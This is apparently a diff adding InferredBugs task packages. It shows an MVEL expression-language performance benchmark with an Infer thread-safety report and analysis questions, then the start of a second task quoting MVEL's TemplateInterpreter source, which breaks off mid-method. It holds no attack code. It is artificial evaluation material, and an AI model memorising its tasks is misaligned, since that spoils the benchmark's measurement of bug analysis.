+    // public static int RUN_GROOVY = 1 << 4;
+
+    private static int COMPILED = 1 << 30;
+    private static int INTERPRETED = 1 << 31;
+
+    private static int ALL = RUN_MVEL + RUN_OGNL + RUN_COMMONS_EL + RUN_JAVA_NATIVE;
+
+    private static final int TESTNUM = 100000;
+    private static final int TESTITER = 3;
+
+    private long ognlTotal = 0;
+    private long mvelTotal = 0;
+    private long commonElTotal = 0;
+    private long javaNativeTotal = 0;
+    private long groovyTotal = 0;
+
+    private int testFlags = 0;
+
+    private boolean silent = false;
+
+    private static List<PerfTest> tests = new ArrayList<PerfTest>();
+
+    private final static Map<String, Object> variables = new HashMap<String, Object>();
+
+    static {
+        NativeTest nt;
+
+//        nt = new NativeTest() {
+//
+//            public Object run(Object baseClass, Map vars) {
+//                return "Hello World";
+//            }
+//        };
+//
+//        tests.add(new PerfTest("Simple String Pass-Through", "'Hello World'", ALL, nt));
+
+        nt = new NativeTest() {
+
+            public Object run(Object baseClass, Map vars) {
+                return vars.get("data");
+            }
+        };
+
+//        tests.add(new PerfTest("Shallow Property", "data", ALL, nt));
+
+        nt = new NativeTest() {
+            public Object run(Object baseClass, Map vars) {
+                return ((Base) baseClass).getFoo().getBar().getName();
+            }
+        };
+
+        tests.add(new PerfTest("Deep Property", "foo.bar.name", ALL, nt));
+        tests.add(new PerfTest("Static Field Access (MVEL)", "Integer.MAX_VALUE", RUN_MVEL, nt));
+        tests.add(new PerfTest("Static Field Access (OGNL)", "@java.lang.Integer@MAX_VALUE", RUN_OGNL, nt));
+        tests.add(new PerfTest("Inline Array Creation (MVEL)", "{'foo', 'bar'}", RUN_MVEL, nt));
+        tests.add(new PerfTest("Inline Array Creation (OGNL)", "new String[] {'foo', 'bar'}", RUN_OGNL, nt));
+
+
+        nt = new NativeTest() {
+            public Object run(Object baseClass, Map vars) {
+                return ((Foo) ((Base) baseClass).funMap.get("foo")).happy();
+            }
+        };
+
+        nt = new NativeTest() {
+
+            public Object run(Object baseClass, Map vars) {
+                return 10 + 1 - 1;
+            }
+        };
+
+        //      tests.add(new PerfTest("Collection Access + Method Call", "funMap['foo'].happy()", RUN_MVEL + RUN_OGNL + RUN_JAVA_NATIVE, nt));
+//        tests.add(new PerfTest("Boolean compare", "data == 'cat'", ALL));
+//        tests.add(new PerfTest("Object instantiation", "new String('Hello')", RUN_OGNL + RUN_MVEL));
+//        tests.add(new PerfTest("Method access", "readBack('this is a string')", RUN_OGNL + RUN_MVEL));
+        //    tests.add(new PerfTest("Arithmetic", "10 + 1 - 1", ALL, nt));
+    }
+
+
+    public ELComparisons() {
+        variables.put("data", baseClass.data);
+        variables.put("foo", baseClass.foo);
+        variables.put("funMap", baseClass.funMap);
+    }
+
+
+    public void setTestFlags(int testFlags) {
+        this.testFlags = testFlags;
+    }
+
+    public static void main(String[] args) throws Exception {
+        ELComparisons omc = new ELComparisons();
+        boolean multithreaded = false;
+        boolean compiled = true;
+        boolean interpreted = true;
+        boolean continuous = false;
+        boolean silent = false;
+        long totaltime = 0;
+
+        int threadMax = 1;
+
+        if (args != null) {
+            for (int i = 0; i < args.length; i++) {
+                if (args[i].equals("-continuous")) continuous = true;
+                else if (args[i].equals("-threaded")) {
+                    if ((i + 1) == args.length) {
+                        throw new RuntimeException("expected parameter for -threaded (number of threads)");
+                    }
+                    multithreaded = true;
+                    threadMax = parseInt(args[++i]);
+
+                }
+                else if (args[i].equals("-nocompiled")) compiled = false;
+                else if (args[i].equals("-nointerpret")) interpreted = false;
+                else if (args[i].equals("-silent")) silent = true;
+            }
+
+        }
+
+        int flags = (compiled ? COMPILED : 0) + (interpreted ? INTERPRETED : 0);
+
+        long ognlTotals;
+        long mvelTotals;
+        long commonsElTotals;
+        long javaNativeTotals;
+        long groovyTotals;
+
+        ELComparisons ognlTests = new ELComparisons();
+        ognlTests.setTestFlags(flags + RUN_OGNL);
+        ognlTests.setSilent(true);
+
+        ELComparisons mvelTests = new ELComparisons();
+        mvelTests.setTestFlags(flags + RUN_MVEL);
+        mvelTests.setSilent(silent);
+
+//        ELComparisons groovyTests = new ELComparisons();
+//        groovyTests.setTestFlags(flags + RUN_GROOVY);
+//        groovyTests.setSilent(silent);
+
+
+        ELComparisons commonsELTests = new ELComparisons();
+        commonsELTests.setTestFlags(flags + RUN_COMMONS_EL);
+        commonsELTests.setSilent(silent);
+
+        ELComparisons nativeJavaTests = new ELComparisons();
+        nativeJavaTests.setTestFlags(flags + RUN_JAVA_NATIVE);
+        nativeJavaTests.setSilent(silent);
+
+
+        if (multithreaded) {
+            System.out.println("THREADS\tOGNL\tMVEL\tCommons-EL\tNative Java");
+
+            for (int threadNumber = 1; threadNumber < 100; threadNumber += 5) {
+
+                totaltime = System.currentTimeMillis();
+
+                ognlTests.reset();
+
+                Thread[] threads = new Thread[threadNumber];
+                for (int i = 0; i < threads.length; i++) {
+                    threads[i] = new Thread(ognlTests);
+                }
+
+                for (Thread thread : threads) {
+                    thread.run();
+                }
+
+                for (Thread thread : threads) {
+                    thread.join();
+                }
+
+                ognlTotals = ognlTests.getOgnlTotal();
+
+
+                mvelTests.reset();
+
+                for (int i = 0; i < threads.length; i++) {
+                    threads[i] = new Thread(mvelTests);
+                }
+
+                for (Thread thread : threads) {
+                    thread.run();
+                }
+
+                for (Thread thread : threads) {
+                    thread.join();
+                }
+
+                mvelTotals = mvelTests.getMvelTotal();
+
+//                groovyTests.reset();
+//
+//                for (int i = 0; i < threads.length; i++) {
+//                    threads[i] = new Thread(groovyTests);
+//                }
+//
+//                for (Thread thread : threads) {
+//                    thread.run();
+//                }
+//
+//                for (Thread thread : threads) {
+//                    thread.join();
+//                }
+//
+//                groovyTotals = groovyTests.getGroovyTotal();
+
+                commonsELTests.reset();
+
+                for (int i = 0; i < threads.length; i++) {
+                    threads[i] = new Thread(commonsELTests);
+                }
+
+                for (Thread thread : threads) {
+                    thread.run();
+                }
+
+                for (Thread thread : threads) {
+                    thread.join();
+                }
+
+                commonsElTotals = commonsELTests.getCommonElTotal();
+
+
+                nativeJavaTests.reset();
+
+                for (int i = 0; i < threads.length; i++) {
+                    threads[i] = new Thread(nativeJavaTests);
+                }
+
+                for (Thread thread : threads) {
+                    thread.run();
+                }
+
+                for (Thread thread : threads) {
+                    thread.join();
+                }
+
+                javaNativeTotals = nativeJavaTests.getJavaNativeTotal();
+
+                totaltime = System.currentTimeMillis() - totaltime;
+
+                System.out.println(threadNumber + "\t" + ognlTotals + "\t" + mvelTotals + "\t" + commonsElTotals + "\t" + javaNativeTotals);
+
+                //         System.out.println("\nPerformance Comparison Done. OUTPUT TOTALS:");
+//                System.out.println("Total Number of Threads: " + threadMax);
+//                System.out.println("OGNL Total Runtime (ms): " + ognlTotals);
+//                System.out.println("MVEL Total Runtime (ms): " + mvelTotals);
+//                System.out.println("Commons EL Total Runtime (ms): " + commonsELTests);
+
+            }
+            System.out.println("Done.");
+
+        }
+        else {
+            omc.setTestFlags(ALL + INTERPRETED + COMPILED);
+            omc.run();
+        }
+
+    }
+
+    public void run() {
+        try {
+
+            for (PerfTest test : tests) {
+                runTest(test, TESTNUM);
+            }
+        }
+        catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public void runTest(PerfTest test, int count) throws Exception {
+        int exFlags = test.getRunFlags();
+        String expression = test.getExpression();
+        String name = test.getName();
+
+        if (!silent) {
+            System.out.println("Test Name            : " + test.getName());
+            System.out.println("Expression           : " + test.getExpression());
+            System.out.println("Iterations           : " + count);
+        }
+
+        long time;
+        long mem;
+        long total = 0;
+        long[] res = new long[TESTITER];
+
+        if ((testFlags & INTERPRETED) != 0) {
+
+            if (!silent) System.out.println("Interpreted Results  :");
+
+
+            if ((testFlags & RUN_OGNL) != 0 && ((exFlags & RUN_OGNL)) != 0) {
+                try {
+                    // unbenched warm-up
+                    for (int i = 0; i < count; i++) {
+                        Ognl.getValue(expression, baseClass);
+                    }
+
+                    //           System.gc();
+
+                    time = currentTimeMillis();
+                    mem = Runtime.getRuntime().freeMemory();
+
+                    for (int reps = 0; reps < TESTITER; reps++) {
+                        for (int i = 0; i < count; i++) {
+                            Ognl.getValue(expression, baseClass);
+                        }
+
+                        if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                        else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+
+
+                    }
+
+                    if (!silent)
+                        System.out.println("(OGNL)               : " + new BigDecimal(((currentTimeMillis() - time))).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                                + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+                }
+                catch (Exception e) {
+                    if (!silent)
+                        System.out.println("(OGNL)               : <<COULD NOT EXECUTE>>");
+                }
+
+            }
+
+            synchronized (this) {
+                ognlTotal += total;
+            }
+
+            total = 0;
+
+            if ((testFlags & RUN_MVEL) != 0 && ((exFlags & RUN_MVEL) != 0)) {
+                try {
+                    for (int i = 0; i < count; i++) {
+                        MVEL.eval(expression, baseClass);
+                    }
+
+                    //       System.gc();
+
+                    time = currentTimeMillis();
+                    mem = Runtime.getRuntime().freeMemory();
+                    for (int reps = 0; reps < TESTITER; reps++) {
+                        for (int i = 0; i < count; i++) {
+                            MVEL.eval(expression, baseClass);
+                        }
+
+                        if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                        else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+                    }
+
+                    if (!silent)
+                        System.out.println("(MVEL)               : " + new BigDecimal(((currentTimeMillis() - time))).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                                + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+
+                }
+                catch (Exception e) {
+                    e.printStackTrace();
+
+                    if (!silent)
+                        System.out.println("(MVEL)               : <<COULD NOT EXECUTE>>");
+                }
+            }
+
+            synchronized (this) {
+                mvelTotal += total;
+            }
+
+//
+//            total = 0;
+//
+//            if ((testFlags & RUN_GROOVY) != 0 && ((exFlags & RUN_GROOVY) != 0)) {
+//                try {
+//                    for (int i = 0; i < count; i++) {
+//                        Binding binding = new Binding();
+//                        for (String var : variables.keySet()) {
+//                            binding.setProperty(var, variables.get(var));
+//                        }
+//
+//                        GroovyShell groovyShell = new GroovyShell(binding);
+//                        groovyShell.evaluate(expression);
+//                    }
+//
+//
+//                    time = currentTimeMillis();
+//                    mem = Runtime.getRuntime().freeMemory();
+//                    for (int reps = 0; reps < TESTITER; reps++) {
+//                        for (int i = 0; i < count; i++) {
+//                            Binding binding = new Binding();
+//                            for (String var : variables.keySet()) {
+//                                binding.setProperty(var, variables.get(var));
+//                            }
+//
+//                            GroovyShell groovyShell = new GroovyShell(binding);
+//                            groovyShell.evaluate(expression);
+//                        }
+//
+//                        if (reps == 0) res[0] = total += currentTimeMillis() - time;
+//                        else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+//                    }
+//
+//                    if (!silent)
+//                        System.out.println("(Groovy)               : " + new BigDecimal(((currentTimeMillis() - time))).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+//                                + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+//
+//                }
+//                catch (Exception e) {
+//                    e.printStackTrace();
+//
+//                    if (!silent)
+//                        System.out.println("(Groovy)               : <<COULD NOT EXECUTE>>");
+//                }
+//            }
+//
+//            synchronized (this) {
+//                groovyTotal += total;
+//            }
+//
+            total = 0;
+
+
+            if ((testFlags & RUN_COMMONS_EL) != 0 && ((exFlags & RUN_COMMONS_EL) != 0)) {
+                VariableResolver vars = new JSPMapVariableResolver(variables);
+
+                String commonsEx = "${" + expression + "}";
+
+                try {
+                    for (int i = 0; i < count; i++) {
+                        new ExpressionEvaluatorImpl(true).parseExpression(commonsEx, Object.class, null).evaluate(vars);
+                    }
+
+                    //            System.gc();
+
+                    time = currentTimeMillis();
+                    mem = Runtime.getRuntime().freeMemory();
+                    for (int reps = 0; reps < TESTITER; reps++) {
+                        for (int i = 0; i < count; i++) {
+                            new ExpressionEvaluatorImpl(true).parseExpression(commonsEx, Object.class, null).evaluate(vars);
+                        }
+
+                        if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                        else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+                    }
+
+                    if (!silent)
+                        System.out.println("(CommonsEL)          : " + new BigDecimal(((currentTimeMillis() - time))).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                                + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+
+                }
+                catch (Exception e) {
+                    if (!silent)
+                        System.out.println("(CommonsEL)          : <<COULD NOT EXECUTE>>");
+                }
+            }
+
+            synchronized (this) {
+                commonElTotal += total;
+            }
+
+        }
+
+        if ((testFlags & COMPILED) != 0) {
+            runTestCompiled(name, test.getOgnlCompiled(), test.getMvelCompiled(), test.getGroovyCompiled(), test.getElCompiled(), count, exFlags);
+        }
+
+        total = 0;
+
+        if ((testFlags & RUN_JAVA_NATIVE) != 0 && ((exFlags & RUN_JAVA_NATIVE) != 0)) {
+            NativeTest nt = test.getJavaNative();
+
+            try {
+                for (int i = 0; i < count; i++) {
+                    nt.run(baseClass, variables);
+                }
+
+                //        System.gc();
+
+                time = currentTimeMillis();
+                mem = Runtime.getRuntime().freeMemory();
+                for (int reps = 0; reps < TESTITER; reps++) {
+                    for (int i = 0; i < count; i++) {
+                        nt.run(baseClass, variables);
+                    }
+
+                    if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                    else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+                }
+
+                if (!silent)
+                    System.out.println("(JavaNative)         : " + new BigDecimal(((currentTimeMillis() - time))).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                            + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+
+            }
+            catch (Exception e) {
+                if (!silent)
+                    System.out.println("(JavaNative)         : <<COULD NOT EXECUTE>>");
+            }
+        }
+
+        synchronized (this) {
+            javaNativeTotal += total;
+        }
+
+
+        if (!silent)
+            System.out.println("------------------------------------------------");
+    }
+
+    public void runTestCompiled(String name, Object compiledOgnl, Object compiledMvel, Object compiledGroovy, Expression compiledEl, int count, int exFlags) throws Exception {
+
+        long time;
+        long mem;
+        long total = 0;
+        long[] res = new long[TESTITER];
+
+
+        if (!silent)
+            System.out.println("Compiled Results     :");
+
+
+        if ((testFlags & RUN_OGNL) != 0 && ((exFlags & RUN_OGNL) != 0)) {
+            try {
+                for (int i = 0; i < count; i++) {
+                    Ognl.getValue(compiledOgnl, baseClass);
+                }
+
+                time = currentTimeMillis();
+                mem = Runtime.getRuntime().freeMemory();
+
+                for (int reps = 0; reps < TESTITER; reps++) {
+                    for (int i = 0; i < count; i++) {
+                        Ognl.getValue(compiledOgnl, baseClass);
+                    }
+
+                    if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                    else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+                }
+
+                if (!silent)
+                    System.out.println("(OGNL Compiled)      : " + new BigDecimal(currentTimeMillis() - time).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                            + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+            }
+            catch (Exception e) {
+
+                if (!silent)
+                    System.out.println("(OGNL)               : <<COULD NOT EXECUTE>>");
+            }
+        }
+
+        synchronized (this) {
+            ognlTotal += total;
+        }
+
+        total = 0;
+
+        if ((testFlags & RUN_MVEL) != 0 && ((exFlags & RUN_MVEL)) != 0) {
+
+            try {
+                for (int i = 0; i < count; i++) {
+                    MVEL.executeExpression(compiledMvel, baseClass);
+                }
+
+                time = currentTimeMillis();
+                mem = Runtime.getRuntime().freeMemory();
+
+                for (int reps = 0; reps < TESTITER; reps++) {
+                    for (int i = 0; i < count; i++) {
+                        MVEL.executeExpression(compiledMvel, baseClass);
+                    }
+
+                    if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                    else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+                }
+
+                if (!silent)
+                    System.out.println("(MVEL Compiled)      : " + new BigDecimal(currentTimeMillis() - time).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                            + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+            }
+            catch (Exception e) {
+
+                if (!silent)
+                    System.out.println("(MVEL)               : <<COULD NOT EXECUTE>>");
+            }
+
+
+            synchronized (this) {
+                mvelTotal += total;
+            }
+
+            total = 0;
+        }
+
+//        total = 0;
+//
+//        if ((testFlags & RUN_GROOVY) != 0 && ((exFlags & RUN_GROOVY)) != 0) {
+//
+//            try {
+//                for (int i = 0; i < count; i++) {
+//                    Binding binding = new Binding();
+//                    for (String var : variables.keySet()) {
+//                        binding.setProperty(var, variables.get(var));
+//                    }
+//
+//                    Script script = (Script) compiledGroovy;
+//                    script.setBinding(binding);
+//                    script.run();
+//                }
+//
+//                time = currentTimeMillis();
+//                mem = Runtime.getRuntime().freeMemory();
+//
+//                for (int reps = 0; reps < TESTITER; reps++) {
+//                    for (int i = 0; i < count; i++) {
+//                        Binding binding = new Binding();
+//                        for (String var : variables.keySet()) {
+//                            binding.setProperty(var, variables.get(var));
+//                        }
+//
+//                        Script script = (Script) compiledGroovy;
+//                        script.setBinding(binding);
+//                        script.run();
+//                    }
+//
+//                    if (reps == 0) res[0] = total += currentTimeMillis() - time;
+//                    else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+//                }
+//
+//                if (!silent)
+//                    System.out.println("(Groovy Compiled)      : " + new BigDecimal(currentTimeMillis() - time).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+//                            + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+//            }
+//            catch (Exception e) {
+//
+//                if (!silent)
+//                    System.out.println("(Groovy)               : <<COULD NOT EXECUTE>>");
+//            }
+//
+//
+//            synchronized (this) {
+//                groovyTotal += total;
+//            }
+//
+//            total = 0;
+//        }
+//
+
+        if ((testFlags & RUN_COMMONS_EL) != 0 && ((exFlags & RUN_COMMONS_EL) != 0)) {
+            VariableResolver vars = new JSPMapVariableResolver(variables);
+            try {
+                for (int i = 0; i < count; i++) {
+                    compiledEl.evaluate(vars);
+                }
+
+                time = currentTimeMillis();
+                mem = Runtime.getRuntime().freeMemory();
+                for (int reps = 0; reps < TESTITER; reps++) {
+                    for (int i = 0; i < count; i++) {
+                        compiledEl.evaluate(vars);
+                    }
+
+                    if (reps == 0) res[0] = total += currentTimeMillis() - time;
+                    else res[reps] = (total * -1) + (total += currentTimeMillis() - time - total);
+                }
+
+                if (!silent)
+                    System.out.println("(CommonsEL Compiled) : " + new BigDecimal(((currentTimeMillis() - time))).divide(new BigDecimal(TESTITER), 2, RoundingMode.HALF_UP)
+                            + "ms avg.  (mem delta: " + ((Runtime.getRuntime().freeMemory() - mem) / 1024) + "kb) " + resultsToString(res));
+
+            }
+            catch (Exception e) {
+                if (!silent)
+                    System.out.println("(CommonsEL Compiled) : <<COULD NOT EXECUTE>>");
+            }
+        }
+
+        synchronized (this) {
+            commonElTotal += total;
+        }
+
+    }
+
+    private static String resultsToString(long[] res) {
+        StringBuffer sbuf = new StringBuffer("[");
+        for (int i = 0; i < res.length; i++) {
+            sbuf.append(res[i]);
+
+            if ((i + 1) < res.length) sbuf.append(",");
+        }
+        sbuf.append("]");
+
+        return sbuf.toString();
+    }
+
+
+    public long getOgnlTotal() {
+        return ognlTotal;
+    }
+
+    public void setOgnlTotal(long ognlTotal) {
+        this.ognlTotal = ognlTotal;
+    }
+
+    public long getMvelTotal() {
+        return mvelTotal;
+    }
+
+    public void setMvelTotal(long mvelTotal) {
+        this.mvelTotal = mvelTotal;
+    }
+
+
+    public long getCommonElTotal() {
+        return commonElTotal;
+    }
+
+    public void setCommonElTotal(long commonElTotal) {
+        this.commonElTotal = commonElTotal;
+    }
+
+
+    public long getJavaNativeTotal() {
+        return javaNativeTotal;
+    }
+
+    public void setJavaNativeTotal(long javaNativeTotal) {
+        this.javaNativeTotal = javaNativeTotal;
+    }
+
+
+    public long getGroovyTotal() {
+        return groovyTotal;
+    }
+
+    public void setGroovyTotal(long groovyTotal) {
+        this.groovyTotal = groovyTotal;
+    }
+
+    public boolean isSilent() {
+        return silent;
+    }
+
+    public void setSilent(boolean silent) {
+        this.silent = silent;
+    }
+
+    public void reset() {
+        ognlTotal = 0;
+        mvelTotal = 0;
+        javaNativeTotal = 0;
+        commonElTotal = 0;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.mvel.tests.perftests.ELComparisons.runTest` indirectly writes to field `n$136.org.mvel.ASTNode.accessor` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ELComparisons.runTest(PerfTest,int)
+
+### Procedure Id:
+org.mvel.tests.perftests.ELComparisons.runTest(org.mvel.tests.perftests.PerfTest,int):void.ac2f76a4630fe3fa0c2c6283c42f780c
+
+### File:
+src/test/java/org/mvel/tests/perftests/ELComparisons.java
+
+### Key:
+ELComparisons.java|runTest|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+d66a174cd640ba7764d86d1fde163862
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4793/instruction.md b/inferredbugs-4793/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1eab26c177486639bdb32b55ccab0bf2b584e77a
--- /dev/null
+++ b/inferredbugs-4793/instruction.md
@@ -0,0 +1,753 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 48
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL (The MVFLEX Expression Language)
+ *
+ * Copyright (C) 2007 Christopher Brock, MVFLEX/Valhalla Project and the Codehaus
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.mvel;
+
+import static org.mvel.MVEL.compileExpression;
+import static org.mvel.MVEL.executeExpression;
+import static org.mvel.NodeType.*;
+import org.mvel.TemplateCompiler.IncludeRef;
+import org.mvel.TemplateCompiler.IncludeRefParam;
+import org.mvel.util.ExecutionStack;
+import org.mvel.util.StringAppender;
+
+import java.io.*;
+import static java.lang.String.valueOf;
+import java.nio.ByteBuffer;
+import static java.nio.ByteBuffer.allocateDirect;
+import java.nio.channels.ReadableByteChannel;
+import java.util.*;
+import static java.util.Collections.synchronizedMap;
+
+/**
+ * The MVEL Template Interpreter.  Naming this an "Interpreter" is not inaccurate.   All template expressions
+ * are pre-compiled by the the {@link TemplateCompiler} prior to being processed by this interpreter.<br/>
+ * <br/>
+ * Under normal circumstances, it is completely acceptable to execute the parser/interpreter from the static
+ * convenience methods in this class.
+ *
+ * @author Christopher Brock
+ */
+public class TemplateInterpreter {
+
+    public static boolean cacheAggressively = false;
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx) {
+        return valueOf(eval(template, ctx));
+    }
+
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Map variables) {
+        return valueOf(eval(template, variables));
+    }
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx, Map variables) {
+        return valueOf(eval(template, ctx, variables));
+    }
+
+    /**
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Object ctx) {
+        if (template == null) return null;
+        return new TemplateInterpreter(template).execute(ctx, null);
+    }
+
+    /**
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Map variables) {
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(null, variables);
+    }
+
+    /**
+     * Compiles, interprets and returns the result from a template.  The value that this returns is dependant
+     * on whether or not the template actually contains any literal values.<br/>
+     * <br/>
+     * For example, an expression that is simply "<tt>@{foobar}</tt>" will return the value of <tt>foobar</tt>,
+     * not a string value.  An expression that only contains a single tag is a defacto expression and is not
+     * considered a template.<br/>
+     * <br/>
+     * An expression such as "<tt>Hello my name is: @{name}</tt>" will return the a String value as it clearly a
+     * template.<br/>
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     */
+    public static Object eval(String template, Object ctx, Map variables) {
+        if (template == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(template).execute(ctx, variables);
+    }
+
+    private char[] expression;
+    private boolean debug = false;
+    private Node[] nodes;
+    private int node = 0;
+
+    private static final Map<CharSequence, char[]> EX_PRECACHE;
+    private static final Map<Object, Node[]> EX_NODE_CACHE;
+    private static final Map<Object, Serializable> EX_PRECOMP_CACHE;
+    private static boolean CACHE_DISABLE = false;
+
+    static {
+        if (MVEL.THREAD_SAFE) {
+            EX_PRECACHE = synchronizedMap(new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = synchronizedMap(new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = synchronizedMap(new WeakHashMap<Object, Serializable>());
+        }
+        else if (MVEL.WEAK_CACHE || MVEL.NO_JIT) {
+            EX_PRECACHE = (new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new WeakHashMap<Object, Serializable>());
+        }
+        else {
+            EX_PRECACHE = (new HashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new HashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new HashMap<Object, Serializable>());
+        }
+    }
+
+    static void configureFactory() {
+    }
+
+    private ExecutionStack stack;
+    private ExecutionStack localStack;
+
+    /**
+     * Creates a new intepreter
+     *
+     * @param template -
+     */
+    public TemplateInterpreter(CharSequence template) {
+        if (CACHE_DISABLE) {
+            nodes = new TemplateCompiler(this).compileExpression();
+        }
+        else if (!EX_PRECACHE.containsKey(template)) {
+            EX_PRECACHE.put(template, this.expression = template.toString().toCharArray());
+            nodes = new TemplateCompiler(this).compileExpression();
+            Node[] nodes = cloneAll(EX_NODE_CACHE.get(expression));
+
+            EX_NODE_CACHE.put(template, nodes);
+        }
+        else {
+            this.expression = EX_PRECACHE.get(template);
+
+            try {
+                this.nodes = cloneAll(EX_NODE_CACHE.get(expression));
+            }
+            catch (NullPointerException e) {
+                EX_NODE_CACHE.remove(expression);
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, cloneAll(nodes));
+            }
+        }
+    }
+
+    private Node[] cloneAll(Node[] nodes) {
+        Node[] newNodes = new Node[nodes.length];
+
+        try {
+            int i = 0;
+            for (Node n : nodes) {
+                newNodes[i++] = n.clone();
+            }
+        }
+        catch (CloneNotSupportedException e) {
+
+        }
+
+        return newNodes;
+    }
+
+
+    public TemplateInterpreter(String expression) {
+        if (CACHE_DISABLE) {
+            nodes = new TemplateCompiler(this).compileExpression();
+        }
+        else if (!EX_PRECACHE.containsKey(expression)) {
+            EX_PRECACHE.put(expression, this.expression = expression.toCharArray());
+            nodes = new TemplateCompiler(this).compileExpression();
+            EX_NODE_CACHE.put(expression, nodes);
+            this.nodes = cloneAll(nodes);
+        }
+        else {
+
+            try {
